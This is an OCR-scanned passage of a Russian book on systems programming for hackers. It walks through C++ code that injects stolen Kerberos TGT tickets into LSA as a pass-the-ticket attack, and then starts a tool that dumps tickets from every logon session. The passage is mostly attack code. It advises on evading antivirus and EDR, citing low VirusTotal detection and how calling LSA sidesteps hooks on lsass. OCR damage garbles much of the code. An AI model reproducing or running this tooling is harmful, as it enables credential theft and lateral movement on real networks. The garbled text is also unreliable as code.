Часть 140 11. Системное программирование для хакеров #define NT SUCCESS (Status) ( ( (NТSTATUS) (Status)) >= О) #pragma conunent (lib, "Secur32.lib") static char encoding_taЫe[] ( 'А', 'В', 'С', 'О', 'Е', 'F', 'G', 'I', 'J'' •к1, 'L', 'М', 'N', 'О', 'Н', 'Р', ,u1, 'V'' 'W'' 'Х', 'с'' 'd', 'е'' 1 f 1 / j , l', 'rn'' 'n'' 1 1 1 / I i I 'k', 'g'' 'h'' , r,, S 1 I 1t I f 'о', 'р'' 'q'' 'u'' 'v'' z 12 1, 1 1 / О 1 1 / 'w', 'х'' 'у'' t 1 •' '3'' 14', '51' 161, 17', 18'' '9'' 1 +'' '/' ); 'Q', 'R'' 'S', •у•, 1 z I I 'а', 'Т', 'Ь', f static char* decoding- tаЫе = NULL; static int mod_ tаЫе [] = { о, 2, 1 ); void build_decoding taЬle(}; unsigned char* base64_decode(const char* data, size t input_length, size t* output_length); void build_decoding_taЬle(} ( (char*)malloc(256); == NULL) ( decoding_taЫe = if (decoding_taЬle exit(-1); for (int i = О; i < 64; i++) (unsigned char)encoding decoding_taЫe[ taЬle[i]] i; unsigned char* base64_decode(const char* data, size_t input_length, size t* output_length) if NULL) (decoding_taЫe == if (input length % 4 != О) build_decoding_taЫe(); return NULL; *output length = input length / 4 * 3; if (data[input length - 1] == '=') ( (*output_length)--; if (data[input_length - 2] == '=') (*output_length)--; unsigned char* decoded data = (unsigned char*)malloc(*output length); if (decoded data NULL) return NULL; for (int i = о, О; j DWORD sextet а DWORD sextet Ь DWORD sextet с DWORD sextet d i < input length;) data[i] data[i] data[i] data[i] ? о & '=' ? '=' ? '=' ? о & ·=· о & о & i++ i++ i++ i++ decoding_taЫe[data[i++]]; decoding_taЫe[data[i++]]; decoding_taЬle[data[i++]]; decoding_taЫe[data[i++]];
Глава В. Долой DWORD + + + Mimikatz! Инжектим тикеты своими руками 141 triple = (sextet_a << 3 * 6) (sextet Ь << 2 * 6) (sextet_c << 1 * 6) (sextet _d « о * 6); if (j < *output- length) decoded_data[j++] if (j < *output_length) decoded_data[j++] if (j < *output_length) decoded_data[j++] (triple » 2 * 8) & OxFF; (triple » 1 * 8) & OxFF; (triple » о * 8) & OxFF; return decoded data; Тик::r нашей программе мы будем передавать через аргументы командной строки. Создадим файл Source.cpp с таким содержимым: #include "stuff.h" void usage () std: :cout << "ptt.exe <Ь64 ticket>" << std::endl; int main(int argc, char** argv) ( if (argc != 2) usage(); return 1; unsigned int kirbiSize = О; char* ticket = argv[l]; unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize); if (kirbiSize == О) ( std::wcout « L"[-] Error converting frorn Ь64" « std::endl; return 1; В этом файле мы получаем второй аргумент, содержащий закодированный в Base64 тикет. Первый - это имя программы: например, в случае вызова prog.exe в argv[0J будет prog.exe, а в argv[l] - 123 123. После чего вызываем функцию для декоди­ рования, проверяем, что размер изменился. Ведь если изменился размер, значит, что-то (может, даже и успешно) декодировалось. Подключение к LSA Именно процесс службы LSA тикеты. Внутри процесса lsass.exe подгружена kerЬeros.dll, которая и реализует все будет хранить в своем адресном пространстве все функции одноименного протокола. Так или иначе, следует отличать TGT от TGS,
Часть 142 11. Системное программирование для хакеров да и в принципе понимать работу «Кербероса». Вот видеоролики, которые позволят новичкам разобраться в теме: □ Керберос. Использование аутентификационных протоколов вании на проникновение: Windows в тестиро­ https://www.youtube.com/watch?v=qZPvgoUzCdl; □ Школа информационной безопасности «Яндекса». Windows & AD: https://www.youtube.com/watch?v=_Yuu4RaMWDY. Подключиться к LSA несложно, для этого есть две специальные функции. NTSTATUS LsaRegisterLogonProcess( [in] PLSA_STRING LogonProcessNarne, [out] PНANDLE Lsaнandle, [out] PLSA_OPERATIONAL_MODE SecurityMode ); NTSTATUS LsaConnectUntrusted( [out] PНANDLE LsaHandle ); Первая позволяет получить хендл на LSA от лица процесса входа в систему. Эту функцию, например, вызывает winlogon.exe во время входа пользователя в систему. С помощью полученного таким образом хендла появится возможность использо­ вать LSA для аутентификации, управления пользовательским входом и доступом. Вторая функция достаточно незамысловата - просто подключение к LSA от лица «недоверенного» процесса. Само собой, в этом случае нельзя будет использовать LSA для аутентификации, но возможность простого взаимодействия с подгружен­ ными пакетами аутентификации останется. Для нас предпочтительнее именно этот вариант. lsa_handle = NULL; NTSTATUS status = LsaConnectUntrusted(&lsa_handle); if (!NT_SUCCESS(status) 11 !lsa_handle) { std: :wcout « L"[-] Error connecting to lsa: "« LsaNtStatusToWinError(status) « std: :endl; return 1; НANDLE Здесь мы получаем хендл на LSA, а затем проверяем с помощью ранее созданного макроса NT_succEsso (лежит в stuff.h), что функция успешно сработала. #define NT_SUCCESS (Status) ( ( (NTSTATUS) (Status)) >= О) Если что-то пошло не так, дергаем LsaNtStatusтowinError (). Эта функция позволяет конвертировать непонятный код, с которым завершилась функция, в человеческий код ошибки. Чтобы узнать, в чем дело, скопируйте полученное значение и сравните его с ошибками в документации Microsoft (https://learn.microsoft.com/ru-ru/ windows/win32/debug/system-error-codes--0-499-).
Глава 8. Долой Mimikatz! Инжектим тикеты своими руками 143 Обнаружение АР У LSA каждый Authentication Package идентифицируется специальным номером, эдаким «айдишником», благодаря которому система понимает, с чем требуется взаимодействовать для реализации функций безопасности. Это числовое значе­ ние абсолютно рандомно, оно присваивается самой резагрузки Для системы. получения этого где и хранится до пе­ LSA, номера используется функция LsaLookupAuthenti cationPackage (1 (https://learn.microsoft.com/en-us/windows/win32/api/ п tseca pi/ nf-n tseca pi-lsaloo ku ра u thentica tio n package). NTSTATUS LsaLookupAuthenticationPackage( LsaHandle, [ in] НANDLE [in] PLSA_STRING PackageName, AuthenticationPackage [out] PULONG 1; Первым параметром мы передаем хендл LSA, полученный вызовом LsaconnectUntrusted (1, а дальше начинаются проблемы. Функция просит передать ей (https://learn.microsoft.com/en-us/windows/win32/api/ LSA_STRING структуру lsalookup/ns-lsalookup-lsa_string), которая выглядит вот так: typedef struct _LSA_STRING USHORT Length; USHORT MaximumLength; Buffer; РСНАR LSA_STRING, *PLSA_STRING; У меня далеко не с первого раза получилось корректно инициализировать ее. По­ этому, чтобы не мучиться в будущем, я реализовал небольшую функцию, прини­ мающую имя пакета аутентификации и возвращающую заполненную структуру: LSA_STRING* create_lsa_string(const char* value) char* buf = new char[l00]; LSA- STRING* str = (LSA- STRING*)buf; str->Length = strlen(value); str->MaximumLength = str->Length; str->Buffer = buf + sizeof(LSA STRING); memcpy(str->Buffer, value, str->Length); return str; // Вызов PLSA_STRING lsaString = create_lsa_string("kerberos"); ULONG authenticationpackage = О; status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &authenticationpackage); if (authenticationpackage == 0) ( std::wcout « L"[-] Error LsaLookupAP: "« LsaNtStatusToWinError(status) « std::endl;
Часть 144 11. Системное программирование для хакеров return 1; std: :wcout « L" [?] Package id " « authenticationpackage « std: :endl; Если вызов был успешен, то LSA вернет нам этот самый «айдишнию> АР KerЬeros, с помощью которого мы сможем взаимодействовать через LSA с Kerberos.dll. Внедрение билета Осталось лишь отдать билет Kerberos ции. с Для взаимодействия LsaCallAuthenticationPackage () в соответствующий АР для его инициализа­ конкретным АР LSA предоставляет функцию (https:/Лearn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsacallauthenticationpackage), которую мы и будем использо­ вать для внедрения билета: NТSTATUS [in] [in] [in] [in] [out] [out] [out] LsaCallAuthenticationPackage( НANDLE LsaНandle, ULONG AuthenticationPackage, ProtocolSuЬmitBuffer, PVOID ULONG SuЬmitBufferLength, PVOID *ProtocolReturnВuffer, ReturnВufferLength, PULONG PNTSTATUS ProtocolStatus ); Первым параметром указывается тот же хендл на циях, вторым - LSA, что и в предыдущих функ­ «айдишник» пакета аутентификации. Далее в ProtocolSuЬmitBuffer и SuЬmitBufferLength следует передать информацию, которую мы хотим сообщить паке­ ту аутентификации (в нашем случае это ТGТ-билет). В ProtocolReturnВuffer, ReturnВufferLength сам АР может поместить данные, которые хочет вернуть програм­ ме. Наконец, последним параметром возвращается идентификатор ошибки. Просто взять и засунуть билет в вызов этой функции не получится. На текущем этапе наш билет находится в переменной kirЬiTicket. Сначала следует сгенерировать _ _ структуру КЕRВ SUВМIT ТКТ typedef struct _REQUEST: { MessageType; _КERВ_SUBMIT_TКТ_REQUEST КERB_PROTOCOL_МESSAGE_TYPE LUID Logonld; ULONG Flags; КЕRВ_СRУРТО_КЕУ32 Кеу; ULONG KerbCredSize; ULONG KerЬCredOffset; КERВ_SUВMIT_TКТ_REQUEST, *PКERВ_SUВМIT_TКТ_REQUEST Здесь используются следующие параметры: □ MessageType (https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nentsecapi-kerb__protocol_ message_ type) - определяет типы сообщений, которые мы можем передать в АР KerЬeros. Для инжекта тикета мы будем передавать
Глава В. Долой Mimikatz! Инжектим тикеты своими руками 145 KerbSuЬrnitTicketMessage. Это означает процедуру получения тикета от КDС и об­ новление кеша билетов; уникальный идекrификатор текущей сессии, позволяющий АР иден­ □ Logonid - тифицировать, к какой сессии применять тикет (если не указано, то АР KerЬeros определит □ Flags - LUID самостоятельно); дополнительные флаги; (https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapikerb_crypto_key) - структура, содержащая информацию о сессионном ключе □ кеу для тикета KerЬeros; □ KerЬCredSize, KerЬCredOffset в случае инжекта тикета в первый параметр переда­ - ем размер тикета, а во второй сдвиг. Сдвиг определяет размер этой струюу­ - ры. Так как мы будем передавать в АР тикет и эту структуру, то АР должен знать, начиная с какого смещения лежит тикет. Корректная передача билета в АР KerЬeros выглядит вот так: NТSTATUS DWORD packageStatus; responseSize; suЬmitSize, PКERВ_SUВМIT_ТКТ_REQUEST pKerЬSuЬmit; PVOID dumPtr; suhmitSize = sizeof(КERВ_SUВМIT_ТКТ_REQUEST) + kirbiSize; if (pKerЬSuЬmit = (PКERВ_SUВНIT_ТКТ_REQUEST)LocaШloc(LPТR, suЬmitSize)) ( pKerЬSuЬmit->MessageType pKerЬSuЬmit->KerЬCredSize = KerЬSuЬmitTicketМessage; = kirbiSize; pKerЬSuЬmit->KerЬCredOffset = sizeof(КERВ_SUВМIT_ТКТ_REQUEST); RtlCopyМemory((PBYТE)pKerЬSuЬmit + pKerЬSuЬmit->KerЬCredOffset, kirbiTicket, pKerЬSuЬmit->KerЬCredSize); status = LsaCallAuthenticationPackage(lsa_handle, authenticationpackage, suhmitSize, &dumPtr, &responseSize, &packageStatus); if (NТ_SUCCESS(status)) pKerЬSuЬmit, ( if (NТ_SUCCESS(packageStatus)) ( std::wcout << L"[+] Injected\n" << std::endl; status = ОхО; else if (LsaNtStatusToWinError(packageStatus) = 1398) ( std::wcout << L"[! ! !!] ERROR_TIМE_SКEW Ьetween КОС and host computer" << std::endl; else std: :wcout « L" [-] else std::wcout << L"[-J / Package : " « LsaNtStatusToWinError(packageStatus) KerЬSuЬmitTicketМessage KerЬSuЬmitTicketМessage « "\n"; :" << LsaNtStatusToWinError(status) << "\n";
Часть 146 11. Системное программирование для хакеров LsaDeregisterLogonProcess(lsa_handle); return О; Сначала мы рассчитываем размер всех данных, которые будут переданы в АР. Этот размер равен размеру структуры КERв_suвмrт_TGT_REQUEST (чтобы АР понял, что нам от него надо) плюс размер тикета. Далее под эту структуру выделяется память, после чего инициализируются ее элементы. В pKerbSuЬmit->KerbCredOffset мы помещаем размер структуры, чтобы «Керберос» знал, что по адресу pKerbSuЬmit + pKerbSuЬmit->KerbCredOffset будет лежать тикет разме­ ром pKerbSuЬmit->KerbCredSize (KirЬiSize). Копируем по рассчитанному адресу тикет, после чего вызываем АР с передачей инициализированной структуры. Затем прове­ ряем код ошибки дважды. Первый код ошибки (status) вызове самой (packagestatus) - функции, например если возможная проблема при lsa _handle невалидный. А второй код код ошибки непосредственно самого АР, например если мы пере­ дадим неправильный размер. Причем я вынес в отдельный блок проверку на ошибку ERROR _ТIМЕ _ SКEW, которая по­ является из-за расхождения (более пяти минут) во времени между хостом и КОС. Если подобная разница присутствует, то ТGТ-билет не может быть обновлен из-за того, что невозможно корректно пройти этап предаутентификации. Да, тикет полу­ чится использовать, но лишь до тех пор, пока он не протухнет. По умолчанию вре­ мя жизни ТGТ-билета-десять часов. После этого тикет будет успешно внедрен в процесс lsass.exe и мы сможем его ис­ пользовать. Функцией LsaDeregisterLogonProcess ( 1 мы просто освобождаем хендл на LSA. Проверка Остается лишь проверить работоспособность кода. Полный код проекта представ­ лен на GitHub (https://github.com/МzHmO/articles/tree/mainfficket%20Injector). Сначала мы получим валидный ТGТ-билет любым удобным способом. Например, с помощью Rubeus .\RuЬeus.exe tgtdeleg /nowrap (рис. 8.1 ): Переместимся на другую систему и проведем инжект (рис. .\project.exe <Ь64 8.2): ticket> Заключение Множество атак можно реализовать без использования популярных и общеизвест­ ных инструментов. У такого подхода есть как минимум одно преимущество: из-за уникальности кода, использования легитимных АР( и отсутствия в сигнатурных базах появляется возможность обойти антивирусное ПО в два счета. Я загрузил
Глава 8. Долой Mimikatz' Инжектим тикеты своими руками Рис. 8.1. Получение тикета Рис . 8.2. Инжект 147
Часть 148 свой проект на VirusTotal, 11. Системное программирование для хакеров не сделав абсолютно никакой обфускации и защиты. Вот как есть, так и закинул, со всеми подозрительными строками, например и получил всего три детекта (рис. [+J Injected, 8.3). Как вы понимаете, если мы зальем туда Mimikatz, Rubeus или другой подобный инструмент, который умеет выполнять внедрение билетов, то детектов будет на порядок больше. -- 51П65oЭOIIQ(502&bll215!11!ielccD11rYtsW • -- о DEТEC110N OEТAI..S ................. -- IIEtWIIClit :) фт... ..._•.3009081S98 ~(St8iclil..} 0 -0 ........... 0 - -""' 0 - е 1..Ы8'кt«:1 ..... ..,_ 0 LЬWю• а...., 0 с...&м<, ,- 0 - - -- Ф- ""' ..... 1,...• • ,, ,__,__ ф lropn. 1".Ус 2023-03-31•:31.ззuтс COl8U81Y ---- ф ........., eo.oom SIZ'I aC2t::::51"-n!llbl3 _,,, .. tblllкted см: Рис. 8.3. Результат проверки на Oaya&1_.,• ..._...chldw7 Ф---•---- 0 """""""" 9 ._._.... 0 0 <nW..... ., ... r ·r, 0 @ Ur.t.tюed 0 0 - .... 0 VirusTotal .. t: i •
ГЛАВА 9 Как дампить тикеты Kerberos на С++ Kerberos предоставляет множество функций для ауrентификации пользователей. Основным «кирпичиком» считаются тикеты, которые в ходе тестирования на про­ никновение атакующий хотя бы раз дампит из памяти процесса LSASS. Давайте разберемся, как можно решить эту задачу, не прибегая к сложным инструментам. Тикеты KerЬeros бывают двух видов: Granting Service ). TGT (Ticket Granting Ticket) и TGS (Ticket Для их дампа используются популярные инструменты, которые давно известны и системным администраторам, и тем более команде защитников. Каждый раз обфусцировать или криптовать тот же Mimikatz как минимум трудоза­ тратно, поэтому я решил разобраться в том, как работает дамп тикетов с систем Windows. Kerberos В главе 7я АР подробно рассказал, что такое SSP, SP и АР. Теперь пора начинать ими злоупотреблять по-настоящему! Мы будем обращаться к АР KerЬeros и доставать из него билеть1. Эrот АР по умолчанию всегда присуrствует в процессе lsass.exe, поэтому для взаимодействия с ним будуr использоваться стандартные нужны для работь1 с LSA (рис. API, которые 9.1). Нам потребуется всего несколько функций: □ Lsaconnectuntrusted (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaconnectuntrusted); □ LsaRegisterLogonProcess (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaregisterlogonprocess); □ LsaGetLogonSessionData (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsagetlogonsessiondata); □ LsaEnumerateLogonSessions (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions );
Часть 150 //. Системное программирование для хакеров о H&<ter Vif'W Tools W.n Help -~ Refrnh О Options Рrос:м111 S.МС•• I А Find hendltl Of ou.., ~ Systrm in1ormation G«ltfal SIМIIOct l'wformlnot ТЬrucft тoun I о а ,с Не1М Ntt,i,,orlc O.k PID 3580 N,m, v ..-.. Starchlndexer.ьe . Surd\ProtocolНo.. .Q., SarchFiltюiost.L CPU """ 8168 - 1/О dnмcll,dl 0.03 ,, 0,1-i • 336 002 OЬsidian.eu Oмidlanьe 2056 10904 11096 11248 111 28 2592 11904 10752 -i380 OЬsktiaмxe О T~ram.l!U ◄ 148 0 AquaSNp.Dиmon.x.. ~ v t O AQuaSn,p.Dp!Aw1re~ICrypt.exe OЬsidlan.ue OЬsidian.eц t f f t у 00 deYefw.exe S860 12160 ~ .. M kroюttServiceHuь_ S464 SМic1:HuЬ.VSDet.. 6396 9004 4968 ~eHuЬJМntiL SeviuHuЬ.Settin... O:Ofl"t9a190. - о.оз &2ЗkВ/s 0,13 Ь4.39k8/s ~13 00fl't72b,O... 1'4 t1 ОО1!'972Ь.О... 1 , 1~МI Oll'7fl'9&ala0.... r.d181c.dl I01911'1cd00 ... gcl01.dl 1Ь:7"'9t.Э7сОО ... CЬO'fl'JnЫO ... gdlШuA,dl .... 160d 1,61М1 --.C.dl .t.d.dl o:iolftl1Ь40... gmмclll!IC.dl }4,23 kS/s S7,6'kB/5 1",98kS/s ОЛ! ~ 1 0... pr,1.dl lnltLdl OIOfМfc-40000 lmlgtl!lp.111 J'tt../lN'LOU. OX7ff'hlf6000D o:ofl'МUCIO. .. o.m.ouo... _lojnl.d.dl Oк1f\f9.0.00. .. tocpw.dll llмМrol.dl O:Off'hOl!O... Ox1f\l'h0l:400... OIOffhOc.lOQ_ Ul'lllt.8Pf'COl'8.dl ООfМ1с7оооо КtrЬCll8nl5,.,.,_ __ ..-.,.Ш.dll к..-.м.dl ~ .dl.mul ..,ЬO.dl nklEF'Sut8ty-lЬ'.,., 2Ntl WlnclowlNТAll&lcrv,tlOn O ... 1nt1 G0IOitntDU. 1.06 М1 ,01 Clltnt OU. S6tl ·91"18d1trit.lml.JNI(" HOtl к-icтc.м~Al'lrprn. .. U9МI ~ n p o r , - ....... lt6tl Ww;iaw,Nttnegtн.lptr 236tlAl"l~.-r-мoronpwlO ... l72kl jglriutlityOU. .... 208 tl _ ~ Cllt!ltSn.td~.. 1,0,.-п..т~~ nkl~N'1Нo8 DIOfl'kltlO,.. 7Мtl 2,&2.ЧI O:ltl":JmOOOO МIO'U8lllt~DSSW0 ... ~OlredlЛ~ Юf'Audl№I 00-,.~EFS 91tl EFSEXТ.DU. 104111 t.sAD18Мionl«EfS tOlklC,IIJ)IIN~ OIOffl111"0... O x l ~.. ооtt'МИ!О... . ... C1yptogra,hk:S..-W..l'fcмdtr ... 40U DSs.ta,p~OU O!Ofll7'!00... 0-at'IМ42dl0. .. OOfl'lmIO... 11276 v o.otrtlOЭIO... lh:7fl'МWOOOO OIOfl'tlO:МO. .. 448/5 Nkl Utl 61kl IJ6klO..OWOfn'oМlollS«DU. Oliplf'М.dl 1 ,)МI W-•--~•Wlndows. .. ,~-..т,Wlradowl. .. WllмrreulUIINIIТtWlndoWL .. l12tl ~ - - ~ O I C I04tl - ~ServiuHuЬ.Нcкt.n_ CP\IUwg.:1.81" Phys5ulmemo,y.13,2.G8(◄ 1.SS'I.} Рrосюк1S2 Рис. 9.1. Подгруженная х Commenl Sllt DucnptiDfl IOltl ~ ~ I I I I A I '... «lkl 04ltlPrtit«llonN'I' 2t2klOPAP1s«wr qi:s ACIIWDir«:tкwyDomм,S.МC. .. -- Ollktndн.twoft tt6 kl Cry,ta~ReltttdAPt 460kt A l ' f ~ ~ " - P o r t ~ 1 1.О ... dptpltrv,dl d188r1Ldl &00.cl ~dl fl4rtmory [IIW'Or'llnlt'I . . . . . S11W)f1 l,,v ~ Ь1ff'lll11ftl000 dn/18,dl 6516 G/UIWir~ь:f: AquaSмp.D.emon.e:xe Clia551fcll'ЬOOO d!N,pi.cll 1412 v OIOfl'I.М.O. .. 0!(1"3fodO(IOO dм,Ь}.сl 13396 .. OJQff9971140... OX1ff't74IМOO aypttp.dl ~12S2 ./ill.S C__21'91.Jt..S 1,04k8/s В4М 1092 168 1360 lнledclr" ~dl CJ)'lltntc.dl toUII r_ floloduмl kerberos.dll □ LsaCallAuthenticationPackage (https:/Лearn.microsoft.com/en-us/windows/win32/api/ ntseca pi/nf-n tsecapi-lsacalla uthentica tion package). Да, дамп будет выполнен без всякой магии, стандартными, легитимными вызовами API. Я помню, как однажды услышал, будто дамп тикетов осуществляется путем чтения, а затем парсинrа памяти LSASS. Так вот, друзья мои, ни Rubeus (https:// Mimikatz github.com/GhostPack/Rubeus/ЫoЬ/master/Rubeus/liЫLSA.cs#L221), ни (https://github.com/gentilkiwi/mimikatz/ЫoЬ/master/mimikatz/modules/kerberos/ku hl_m_kerberos.c#L197) так не делают. Оба инструмента дампят точно так же, с по­ мощью тех же самых апишек. Итоговый результат получился более чем крышесносный. Если у нас есть права локального администратора, то мы выгрузим абсолютно все тикеты из системы (рис. 9.2). А если прав администратора нет, то сможем получить лишь тикеты из сеанса входа текущего пользователя (рис. 9.3). Итак, приступим к написанию инструмента. Начало работы При взаимодействии по протоколу используется АР Kerberos. Kerberos KDC или службой Внутри его кеша будут храниться все сессионные клю­ чи, а также полученные пользователем Kerberos между клиентом и TGT- и ТGS-билеты. Но каким образом АР понимает, что этот тикет принадлежит такому-то пользователю, а этот -
Глава 9. Как дампить тикеты Рис. Kerberos 9.2. Дамп на С++ тикетов от лица привилегированной УЗ 151
Часть 152 Рис. 9.3. 11. Системное программирование для хакеров Тикеты текущего пользователя другому? Здесь в игру вступают сии. Мы LUID. LUID - некий идентификатор текущей можем увидеть текущий LUID с помощью команды klist (рис. 9.4). Для успешного дампа тикетов других пользователей нам нужно знать их речислить LUID LUID. сес­ Пе­ можно с помощью LsaGetLogonSessionData (). Подробнее эту функцию Рис. 9.4. Текущий LUID Ох3е121
Глава 9. 153 Как дампить тикеты KerЬeros на С++ мы рассмотрим чуточку позже, но отмечу, что если мы не имеем прав администра­ тора, то никто не даст нам сдампить чужие тикеты, поэтому подобная разведка может оказаться бессмысленной. Во-первых, я предлагаю создать заголовочный файл stuff .h, куда мы поместим все прототипы функций, другие заголовочные файлы и некоторые перечисляемые зна­ чения с заделом на будущее. #pragma once #define WIN32 NO STATUS #define SECURITY WIN32 #include <Windows.h> #include <NTSecAPI.h> #include <iostream> #include <sddl.h> #include <algorithm> #include <string> #include <T1Help32.h> #include <cstring> #include <cstdlib> #include <iomanip> #include <map> #define DEBUG #include <locale> #define NT SUCCESS (Status) ( ( (NTSTATUS) (Status)) >= О) #pragma comment (lib, "Secur32.lib") const PCWCНAR TicketFlagsToStrings[] = { L"name_canonicalize", L"?", L"ok_as_delegate", 1 • ' L"hw_authent", L"pre_authent", L"initial", L"renewaЫe", L" invalid", L"postdated", L"may_postdate", L"proxy", L"proxiaЫe", L" forwarded", L"forwardaЫe", L"reserved", 11?11 f; const char base64_chars[] = "AВCDEFGНIJКLМNOPQRSTUVWXYZaЬcdefghijklmnopqrstuvwxyz0123456789+/"; LSA_STRING* create_lsa_string(const char* value); bool Enгhl(,Privilege (PCWSTR privName, bool еnаЫе); DWORD ::г,;JPrsonateSystem (); В001 LsaC )rrnect (PНANDLE LsaHandle) ; VOID fi ;, tнneT,JТime(const FILETIME* time); VOID ParseTktFlags(ULONG flags); DWORD ReceiveLogonlnfo(НANDLE LsaHandle, LUID Logonid, ULONG kerberosAP); ULONG GetKerberosPackage(НANDLE LsaHandle, LSA_STRING lsastr); Пока мы не будем углубляться в подробности работы каждой функции - я рас­ скажу о них чуть позже. Мы также добавили массив символов для кодирования в Base64. Кодировать тикет в Base64 нужно по той причине, что он представляет собой бинарные данные, которые невозможно корректно отобразить (рис. 9.5).
154 Часть 11. Системное программирование для хакеров ? Средство ои,уал=ции текста Вы ражение: х pKerbRetril!lleResponse-> Ticket. EncodedТicket Значение: ~, 1(0, 1$ L, I9t, тY,Jб0,J2a,J.0,J• L, 19•· CRINGE, LABy0 L, 1 9,et~krbtgt• CRINGE .tAB], Lт0, 1о L, !9t, ,9, LeJ, Lb.;qцe(y"ТJЙ~l'e9alY(31:!б• e­ A_Eьl/: :IlBAOUtн6111< 8 e:s4nihAlbl0SЩФRJ,ldll ► бe/lE#КAoly:л-fГ»W?Л:st~p %&ЬГNKf • S'i!tMs •Q( LgGEIЭ ts • •EТ:sThBI <0-Щ' i!al1111,1НrSV& \--у,о\} NI-11, V 1»"ы9сТфТ4111~"'$Е v«•вwo: yf й"•+tйjc IC"бjlh (wt%11!1€"yЪIZ 'r fБ<Ф14ЬП16, Cbls§ <ы/Ьf }рйоН )OZлГfж­ %6 l :sS, 'ТL1РгfNJЬ]vя•1тsК1Ыб:sКЧ• кqЪК•и-4., 'LffjM2111I-, •AЭWhlмx,xtaPwr u~s:ьн!мв1 МбЭ!•Аг l§.,•Minw«b.,f&Byф2s&G/'11eN•lA-9лQOй(: .tьtЙUCNx•Фxt.ш-• Biчтflжl.lsE*OySA/u,XZBi" Б[YиK 'ЭН• f Эrl LX .&"Ар(7ВИ -Plltp?tьbк/Pr )0-uzCA0-<1gKe>кб '»1sar и_«F ыиа+ }ШЭ 0 1' >nlf t. КQ-хJЬ?.. гж (7s fl~u ! jiS< -IOIЬ°F-,,SSXВtь gjЭ.-JЬnsnsйef-41#gsQ"t • 2n\ • cЫtmnюN' s'w» ◄l,lфEдEJ111l - ) z5(vi!_n•~я еЕУу; liР-т-JМ{Гк] n"Wq1..11y5Y?ГjЦ)Ol.jьl<ioSPwaZЫCtьТY ll'ЬIDUYi! [ -grзщ f)@GэJ Кlll}Q#•JЬ-l!iwtl'' 8 jVvr$Щ: В,-Д1Оя#ЗЪ1<...#Е'..~фб"Тl-<ОС011Ьl ► ь ., •нР • Е'""IйQ мn«. <'~:s•(K--ЭPt' jГE"OЬtl. ЙЫЭ ! i!i!Чe, н7ЪI? lllll•sw' [i!•дУдf)иi с :s: 1'11-s-} р-$к, lх)АдАУхъ◄i&о Df-яьV,KcmYщ-Cq~мrтe(Д(TifYo)к_IЪA(:sМiшne1JЦn\LvlJКЭWЧ7stJ1>..yМlbнWOPo@I wxдypSe"•9xiVЭO:sMgµ. ' g/Ч(tю§t,,-6s,(l~]u,yI1nso.,,.к••z1,1111 .Y*IЦII~ S[Д\CyvnslneAJO~I+so+gГ ► : IKkIO"ANtк"ЪSi<X]fэefъ L, Б21 Переносить ело•• Закрыть Рис. 9.5. Тикет в исходном виде Как вы видите, здесь огромное количество непечатаемых символов. Разве что про­ сматривается имя домена. Эти данные никак не получится скопировать, вставить на другой компьютер, а затем внедрить, поэтому применяем кодирование в Функция для кодирования выглядит вот так: std: :string base64_encode(coнst 1Jnsigned char* bytes to encode, s1ze t in len) std: :string 01Jt; int val = О, valb = -6; for (size_t i = О; 1 < iп len; ++1) { 1Jnsigned char с= bytes to encode[i]; val = (val << 8) + с; valb += 8; while (valb >= 01 { out.p1Jsh_back(baseE4 chars[ (va1 >> valb) & ОхЗF]); valb -= 6; if (valb > -6) 01Jt.p1Jsh back(base64 chars[ 1(val << 8) >> {valb + 81) & ОхЗF]); while (01Jt.size:: 4' с ·t.p1Jsh_back('='I; ret1Jrn 01Jt; Base64.
Глава 155 9. Как дампить тикеты КеrЬегоs на С++ Она как раз использует этот самый массив символов. Теперь перейдем в самое на­ чало нашего кода, в функцию main: int main() { setlocale(LC_ALL, '"'); ShowAwesomeBanner{); НANDLE LsaHandle = NOLL; В001 DumpAllTickets = FALSE; if (I,saConnect { &LsaHandle)) { #ifdef DEBOG std::wcout « L"[+] I ' l l dump all tickets" « std::endl; #endif DumpAllTickets = TROE; else { #ifdef DEBOG std::wcout « L"[-] I ' l l dump tickets of current user" « std::endl; #endif #ifdef DEBOG std::wcout « L"[+] LsaHandle: "« (unsigned long)LsaHandle « std::endl; #endif PLSA_STRING krbname = create_lsa_string("kerberos"); OLONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname); #ifdef DEBOG std: : wcout « L" [ +] Kerberos АР: " « kerberosAP « std: : endl; #endif Уж извините меня за такое количество директив для препроцессора. Сначала думал их убрать, а потом оставил. Если вам не нужно лишнего большого вывода, где ин­ струмент будет сообщать обо всем, что он делает с системой, то просто из файла stuff. h уберите строку #define DEBOG. Если же потребуется отследить весь поток вызовов, оставляйте ее. Итак, первым делом мы ставим локаль, чтобы наш инструмент умел успешно рабо­ тать с любыми языками, хоть с русским, хоть с японским, хоть с каппадокийским диалектом греческого языка. Далее в функции ShowAwesomeBanner 1) мы выводим наш суперстрашный череп (ведь никакая хакерская тулза не обойдется без него), а затем наступает этап подключения к LSA в функции Lsaconnect (). Особенности дампа Наш инструмент замечателен тем, что тикеты будет отдавать сам АР Kerberos. Причем этот вариант можно считать достаточно скрытным. Быть может, на каких.­ то пентестах вы замечали, что сдампить LSASS стандартными средствами не полу­ чается, но при этом какой-нибудь RuЬeus. ехе dump успешно отрабатывает. Знаете почему?
Часть 156 /1. Системное программирование для хакеров Проблема закmочается в том, что большинство EDR (да и всяких других новомод­ ных средств защиты, в рекламу которых вбухивают миллионы долларов) отслежи­ вает примитивные функции для получения хендла на процесс lsass. ехе. Например, хукают тот же OpenProcess () . Всякие более продвинутые варианты используют чуть большее число вариантов (https://www.mdsec.eo.uk/2022/08/fourteen-ways-to-readthe-pid-for-the-local-security-authority-subsystem-service-lsass/), но этого мало. Мы будем взаимодействовать не с процессом lsass. ехе, а со службой LSA. Нам не по­ надобится получать хендл на процесс, мы получим хендл только на саму службу, поэтому задетектировать наш инструмент будет чуточку сложнее. Подключение к LSA Чтобы начать взаимодействовать с АР именно LSA Kerberos, следует подключиться к LSA, ведь управляет всеми пакетами аутентификации. Подключение я вынес в отдельную функцию 